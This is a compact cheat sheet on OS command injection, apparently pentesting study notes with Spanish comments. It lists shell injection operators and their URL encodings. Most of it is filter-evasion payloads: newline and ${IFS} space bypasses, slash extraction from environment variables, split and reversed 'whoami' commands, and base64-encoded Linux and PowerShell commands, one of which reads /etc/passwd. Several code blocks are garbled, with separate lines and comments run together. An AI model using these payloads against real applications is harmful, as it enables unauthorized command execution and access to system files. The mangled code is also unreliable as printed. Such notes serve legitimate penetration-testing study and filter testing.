20 - Command Injection

Injections occur when user-controlled input is interpreted as part of a query or code, allowing the original intent to be altered and malicious commands to be executed.
Common types: OS Command Injection, Code Injection, SQL Injection, XSS/HTML Injection.

Detection — Injection Operators

  • Operator: Character — URL-Encoded — Executes
  • Semicolon: ; — %3b — Both
  • New Line: n — %0a — Both
  • Background: & — %26 — Both (second output first)
  • Pipe: | — %7c — Both (only the second is shown)
  • AND: && — %26%26 — Both (if the first succeeds)
  • Sub-Shell: `` — %60%60 — Linux
  • Sub-Shell: $() — %24%28%29 — Linux

Filter Bypass

Space Bypass

bash
127.0.0.1%0awhoami           # nueva línea127.0.0.1%0a%09whoami        # tab127.0.0.1%0a${IFS}whoami     # $IFS = espacio/tab127.0.0.1%0a{ls,-la}         # brace

Other Character Bypass (Linux)

bash
# Slash: extraer el primer carácter de $PATH${PATH:0:1}# ;  extraer de $LS_COLORS${LS_COLORS:10:1}# Windows: slash desde %HOMEPATH%$ echo %HOMEPATH:~6,-11%

Character Shifting

bash
$ echo $(tr '!-}' '"-~' <<<[)   # desplaza [ (91) a \ (92)

Command Bypass (whoami, ls)

terminal
w'h'o'am'i      # comillaswho$@ami        # parámetro posicionalw\ho\am\i       # backslash

Advanced Obfuscation

bash
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")$(a="WhOaMi";printf %s "${a,,}")$(rev<<<'imaohw')                        # revertidoiex "$('imaohw'[-1..-20] -join '')"      # Windows revertido# B64 Linuxbash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)# B64 Windowsiex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))"